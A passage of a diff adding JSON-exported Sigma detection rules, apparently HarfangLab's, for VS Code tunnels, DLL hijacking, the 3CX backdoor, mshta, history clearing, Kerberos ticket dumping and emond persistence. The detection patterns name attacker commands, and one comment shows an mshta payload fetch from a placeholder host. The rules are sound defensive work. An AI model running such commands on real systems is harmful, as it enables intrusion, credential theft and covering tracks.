process_creation\n    product: windows\ndetection:\n    selection_binary:\n        CommandLine|contains: ' tunnel'\n        Image|endswith:\n            - 'code.exe'\n            - 'code-tunnel.exe'\n            - 'code-tunnel-insiders.exe'\n\n    selection_imphash:\n        CommandLine|contains: ' tunnel'\n        Imphash:\n            - 'c5cb69f09d753530411528e2a0041c10'\n            - 'b2c20053c09c4ac294fac649bd52b9d7'\n            - 'ffba461184ce9e88225c05180ed9ae0e'\n            - 'ece9f6a03a1eb2222b33a67bd692cbcf'\n            - '6b319b5d822e4d8976962e9f829623fa'\n            - '8f37d2bc0de4d67940d0bd62c3aa8f2f'\n            - 'd2b046a0864290ecddf0b1cbbd1fbdfa'\n            - '39cbe2ab95201144169ebe4082bcd960'\n            - '67481da3531c3eec93994a63859fbf85'\n            - '346303b98cec2b81d96c84895a63295c'\n            - '14d1060d69daaf2de5c9457a561d4145'\n            - '127d26d854177e542674f64784c7ddb1'\n            - 'f756ba36b253d4ceb47eaaa6e0069c6e'\n            - '6e1c8155b811a1d8dff929558aa6751d'\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n\n    selection_commandline:\n        CommandLine|contains:\n            - ' tunnel --accept-server-license-terms'\n            - ' tunnel service install'\n            - ' tunnel service internal-run'\n\n    filter_commandline:\n        CommandLine|contains:\n          - ' tunnel status'\n          - ' tunnel user login'\n          - ' tunnel forward-internal'\n          - ' tunnel kill'\n\n    # Avoid multiple detection\n    filter_explorer:\n        CommandLine|contains: ' tunnel service internal-run'\n        ParentImage: '?:\\Windows\\explorer.exe'\n\n    condition: (((selection_binary or selection_imphash) and not filter_commandline) or selection_commandline) and not filter_explorer\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "42219252-5c4c-42ea-b6aa-3a48b6da5be0",
+  "rule_name": "VSCode Proxy Tunnel Started",
+  "rule_description": "Detects the VSCode binary being executed with command-line arguments indicating the start of a VS Code network tunnel.\nSince July 2023, Microsoft Visual Studio Code includes a feature called Dev Tunnels that allows remote access to a system by exposing local services through Microsoft-managed infrastructure.\nThreat actors have abused this functionality to gain persistent remote access, bypass network restrictions, and evade traditional remote access detections by leveraging trusted Microsoft domains.\nIt is recommended to investigate the actions performed in the shell that this tunnel spawns to determine if it is legitimate developer activity.\n",
+  "rule_creation_date": "2026-01-09",
+  "rule_modified_date": "2026-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "424e493f-40de-4ea2-ab95-466e6867c197",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601239Z",
+  "creation_date": "2026-03-23T11:45:34.601243Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601251Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://unprotect.it/technique/dll-search-order-hijacking/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nslookup.yml",
+  "content": "title: DLL Hijacking via nslookup.exe\nid: 424e493f-40de-4ea2-ab95-466e6867c197\ndescription: |\n    Detects potential Windows DLL Hijacking via nslookup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://unprotect.it/technique/dll-search-order-hijacking/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'nslookup.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DNSAPI.dll'\n            - '\\mswsock.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "424e493f-40de-4ea2-ab95-466e6867c197",
+  "rule_name": "DLL Hijacking via nslookup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via nslookup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "42845992-7070-4491-a6c9-45ef10ed971b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619238Z",
+  "creation_date": "2026-03-23T11:45:34.619240Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619245Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats",
+    "https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html",
+    "https://attack.mitre.org/techniques/T1195/002/"
+  ],
+  "name": "t1195_002_3cx_spawning_suspicious_process.yml",
+  "content": "title: Suspicious Process Spawned by 3CXDesktopApp\nid: 42845992-7070-4491-a6c9-45ef10ed971b\ndescription: |\n    Detects suspicious processes started by the 3CXDesktopApp software.\n    In late March 2023, the 3CXDesktopApp software was backdoored and turned into a stealer in a wide supply chain attack.\n    It is recommended to investigate the newly created process for suspicious activities.\nreferences:\n    - https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats\n    - https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html\n    - https://attack.mitre.org/techniques/T1195/002/\ndate: 2023/03/31\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1195.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.3CX\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        ParentImage|endswith: '\\3CXDesktopApp.exe'\n\n    selection_bin:\n        OriginalFileName:\n            - 'Cmd.Exe'\n            - 'PowerShell.EXE'\n            - 'cscript.exe'\n            - 'wscript.exe'\n            - 'schtasks.exe'\n            - 'REGSVR32.EXE'\n            - 'wmic.exe' # use wmic to spawn PowerShell or else under wmiprvse or squiblytwo\n            - 'MSHTA.EXE'\n            - 'RUNDLL32.EXE'\n            - 'msiexec.exe'\n            - 'MSBuild.exe' # https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml\n            - 'appvlp.exe' # lolbas : https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/\n            - 'extrac32.exe' # https://twitter.com/ShadowChasing1/status/1557287930267578368\n\n    condition: all of selection_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "42845992-7070-4491-a6c9-45ef10ed971b",
+  "rule_name": "Suspicious Process Spawned by 3CXDesktopApp",
+  "rule_description": "Detects suspicious processes started by the 3CXDesktopApp software.\nIn late March 2023, the 3CXDesktopApp software was backdoored and turned into a stealer in a wide supply chain attack.\nIt is recommended to investigate the newly created process for suspicious activities.\n",
+  "rule_creation_date": "2023-03-31",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1195.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "42b184cd-02dd-4a06-9de2-f8424574bac6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070967Z",
+  "creation_date": "2026-03-23T11:45:34.070969Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070973Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
+    "https://attack.mitre.org/techniques/T1218/005/"
+  ],
+  "name": "t1218_005_mshta_cmd.yml",
+  "content": "title: Cmd Execution via mshta.exe\nid: 42b184cd-02dd-4a06-9de2-f8424574bac6\ndescription: |\n    Detects the execution of cmd.exe by mshta.exe.\n    Mshta can be used to proxy the execution of a malicious JScript that may use the \"WScript.shell\" ActiveX object to run arbitrary commands, which spawns an intermediary \"cmd.exe\".\n    It is recommended to check the spawned process for suspicious activities.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Mshta/\n    - https://attack.mitre.org/techniques/T1218/005/\ndate: 2021/02/10\nmodified: 2025/04/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Mshta\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # mshta http://xxx.xxx.xxx.xxx:9999/OvJQ5 (Koadic)\n    selection_child:\n        - Image|endswith: '\\cmd.exe'\n        - OriginalFileName: 'Cmd.EXE'\n\n    selection_parent:\n        ParentImage|endswith: '\\mshta.exe'\n\n    exclusion_hp:\n        ParentCommandLine|contains:\n            - '\\Program Files\\HP\\'\n            - '\\Program Files (x86)\\HP\\'\n\n    exclusion_ping:\n        CommandLine: '?:\\windows\\system32\\cmd.exe /c ping -n ? 127.0.0.1>nul'\n\n    exclusion_copy:\n        CommandLine:\n            - '?:\\Windows\\System32\\cmd.exe /c copy ?:\\\\* ?:\\\\*'\n            - '?:\\Windows\\System32\\cmd.exe /c robocopy ?:\\\\* ?:\\\\*'\n\n    exclusion_type:\n        CommandLine: '?:\\Windows\\System32\\cmd.exe /c type ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*.tmp.ini*'\n\n    exclusion_cls:\n        CommandLine: '?:\\Windows\\System32\\cmd.exe /C cls'\n\n    exclusion_driverpack:\n        CommandLine|startswith:\n            - '?:\\Windows\\System32\\cmd.exe /c tools\\driverpack-wget.exe *--directory-prefix=?:\\Users\\\\*\\AppData\\Local\\Temp\\beetle-cab\\DriverPack\\audio\\fr http://dl.driverpack.io/'\n            - '?:\\Windows\\System32\\cmd.exe /c netsh advfirewall firewall add rule name=DriverPack'\n            - '?:\\Windows\\System32\\cmd.exe /c netsh advfirewall firewall delete rule name=DriverPack'\n\n    exclusion_ivanti:\n        Ancestors|contains:\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\sdistbat.exe|?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE|?:\\Program Files (x86)\\Ivanti\\EPM Agent\\Shared Files\\residentAgent.exe'\n            - '?:\\Program Files\\Ivanti\\EPM Agent\\SWD\\sdistbat.exe|?:\\Program Files\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE|?:\\Program Files\\Ivanti\\EPM Agent\\Shared Files\\residentAgent.exe'\n\n    exclusion_bdfacsduet:\n        GrandparentImage: '?:\\stratec\\BDFACSDuet\\InstrumentSetup\\IS-Start.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "42b184cd-02dd-4a06-9de2-f8424574bac6",
+  "rule_name": "Cmd Execution via mshta.exe",
+  "rule_description": "Detects the execution of cmd.exe by mshta.exe.\nMshta can be used to proxy the execution of a malicious JScript that may use the \"WScript.shell\" ActiveX object to run arbitrary commands, which spawns an intermediary \"cmd.exe\".\nIt is recommended to check the spawned process for suspicious activities.\n",
+  "rule_creation_date": "2021-02-10",
+  "rule_modified_date": "2025-04-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "42be5cfc-1e0a-438e-8602-3207fa4956da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611693Z",
+  "creation_date": "2026-03-23T11:45:34.611697Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611704Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md",
+    "https://attack.mitre.org/techniques/T1070/003/"
+  ],
+  "name": "t1070_003_clear_history_file_linux.yml",
+  "content": "title: Shell History File Cleared (Linux)\nid: 42be5cfc-1e0a-438e-8602-3207fa4956da\ndescription: |\n    Detects the shell history file being removed or truncated.\n    Attackers may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.\n    It is recommended to investigate the context around this action and the offending process.\n    If this action is legitimate and recurrent, it is highly recommended to create a whitelist for it.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md\n    - https://attack.mitre.org/techniques/T1070/003/\ndate: 2023/01/03\nmodified: 2025/04/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Deletion\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_rm:\n        Image|endswith:\n            - '/rm'\n            - '/unlink'\n            - '/dd'\n            - '/truncate'\n            - '/ln'\n        CommandLine|contains:\n            - '/root/.history'\n            - '/root/.ash_history'\n            - '/root/.bash_history'\n            - '/root/.tcsh_history'\n            - '/root/.sh_history'\n            - '/root/.zhistory'\n            - '/root/.zsh_history'\n            - '/home/*/.history'\n            - '/home/*/.ash_history'\n            - '/home/*/.bash_history'\n            - '/home/*/.tcsh_history'\n            - '/home/*/.sh_history'\n            - '/home/*/.zhistory'\n            - '/home/*/.zsh_history'\n            - /fish/fish_history'\n\n    selection_shell:\n        Image|endswith:\n            - '/sh'\n            - '/bash'\n            - '/dash'\n            - '/zsh'\n        CommandLine|contains:\n            - '>*/root/.history'\n            - '>*/root/.ash_history'\n            - '>*/root/.bash_history'\n            - '>*/root/.tcsh_history'\n            - '>*/root/.sh_history'\n            - '>*/root/.zhistory'\n            - '>*/root/.zsh_history'\n            - '>*/home/*/.history'\n            - '>*/home/*/.ash_history'\n            - '>*/home/*/.bash_history'\n            - '>*/home/*/.tcsh_history'\n            - '>*/home/*/.sh_history'\n            - '>*/home/*/.zhistory'\n            - '>*/home/*/.zsh_history'\n            - '>*/fish/fish_history'\n\n    # We can't match against builtins but we can match against \"sh -c 'history -c'\" and other similar variants\n    selection_builtin:\n        CommandLine|contains: 'history -c'\n\n    exclusion_history:\n        CommandLine|contains: '_history -c'\n\n    exclusion_stat:\n        CommandLine|contains: ' /usr/bin/stat '\n\n    exclusion_eclipse_workspace:\n        CommandLine|contains: '/org.eclipse.core'\n\n    exclusion_tar:\n        Image: '/usr/bin/tar'\n\n    exclusion_soltr:\n        CommandLine|startswith: 'tar --exclude'\n        GrandparentImage|startswith:\n            - '/usr/sw/var/soltr'\n            - '/usr/sw/loads/soltr'\n\n    exclusion_neovim:\n        CommandLine|contains: 'vimglob() { while [ $# -ge 1 ]; do echo \"$1\"; shift; done }; vimglob >/tmp/'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "42be5cfc-1e0a-438e-8602-3207fa4956da",
+  "rule_name": "Shell History File Cleared (Linux)",
+  "rule_description": "Detects the shell history file being removed or truncated.\nAttackers may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.\nIt is recommended to investigate the context around this action and the offending process.\nIf this action is legitimate and recurrent, it is highly recommended to create a whitelist for it.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2025-04-02",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "42bf430b-b73f-4376-aab1-4173d80d20f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617493Z",
+  "creation_date": "2026-03-23T11:45:34.617496Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617503Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1555/003/",
+    "https://attack.mitre.org/techniques/T1558/",
+    "https://attack.mitre.org/techniques/T1558/003/"
+  ],
+  "name": "t1564_001_kcc_kerberos_ticket_dump.yml",
+  "content": "title: Kerberos Ticket Extracted via kcc\nid: 42bf430b-b73f-4376-aab1-4173d80d20f4\ndescription: |\n    Detects the usage of kcc to extract a Kerberos Ticket.\n    Adversaries may dump kerberos tickets and use them for lateral movement.\n    It is recommended to check for other suspicious activities by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1555/003/\n    - https://attack.mitre.org/techniques/T1558/\n    - https://attack.mitre.org/techniques/T1558/003/\ndate: 2024/07/22\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.003\n    - attack.t1558\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Tool.Kcc\n    - classification.macOS.Behavior.CredentialAccess\n    - classification.macOS.Behavior.Lateralization\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessName: 'kcc'\n        CommandLine|contains:\n            - 'dump-credentials'\n            - 'copy_cred_cache'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "42bf430b-b73f-4376-aab1-4173d80d20f4",
+  "rule_name": "Kerberos Ticket Extracted via kcc",
+  "rule_description": "Detects the usage of kcc to extract a Kerberos Ticket.\nAdversaries may dump kerberos tickets and use them for lateral movement.\nIt is recommended to check for other suspicious activities by the parent process.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003",
+    "attack.t1558"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "42cd8416-c43f-466f-992d-7a756d832d7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617436Z",
+  "creation_date": "2026-03-23T11:45:34.617438Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617442Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.xorrior.com/emond-persistence/",
+    "https://attack.mitre.org/techniques/T1546/014/"
+  ],
+  "name": "t1546_014_emond_persistence_execution.yml",
+  "content": "title: Suspicious Process Execution via Emond\nid: 42cd8416-c43f-466f-992d-7a756d832d7a\ndescription: |\n    Detects the execution of a suspicious process by the Event Monitor Daemon (emond).\n    Emond can be manipulated by adversaries to execute arbitrary commands in response to specific system events, such as during system startup or user logon.\n    It is recommended to check the legitimacy of the process by analyzing the rules triggering its execution, and the context in which emond is used.\nreferences:\n    - https://www.xorrior.com/emond-persistence/\n    - https://attack.mitre.org/techniques/T1546/014/\ndate: 2024/05/15\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.014\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessParentImage: '/sbin/emond'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "42cd8416-c43f-466f-992d-7a756d832d7a",
+  "rule_name": "Suspicious Process Execution via Emond",
+  "rule_description": "Detects the execution of a suspicious process by the Event Monitor Daemon (emond).\nEmond can be manipulated by adversaries to execute arbitrary commands in response to specific system events, such as during system startup or user logon.\nIt is recommended to check the legitimacy of the process by analyzing the rules triggering its execution, and the context in which emond is used.\n",
+  "rule_creation_date": "2024-05-15",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.014"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "43289013-d5b5-48ec-bcd4-77826f38f079",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090488Z",
+  "creation_date": "2026-03-23T11:45:34.090490Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090494Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
+    "https://www.intrinsec.com/alphv-ransomware-gang-analysis/",
+    "https://attack.mitre.org/techniques/T1016/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1016_arp_windows.yml",
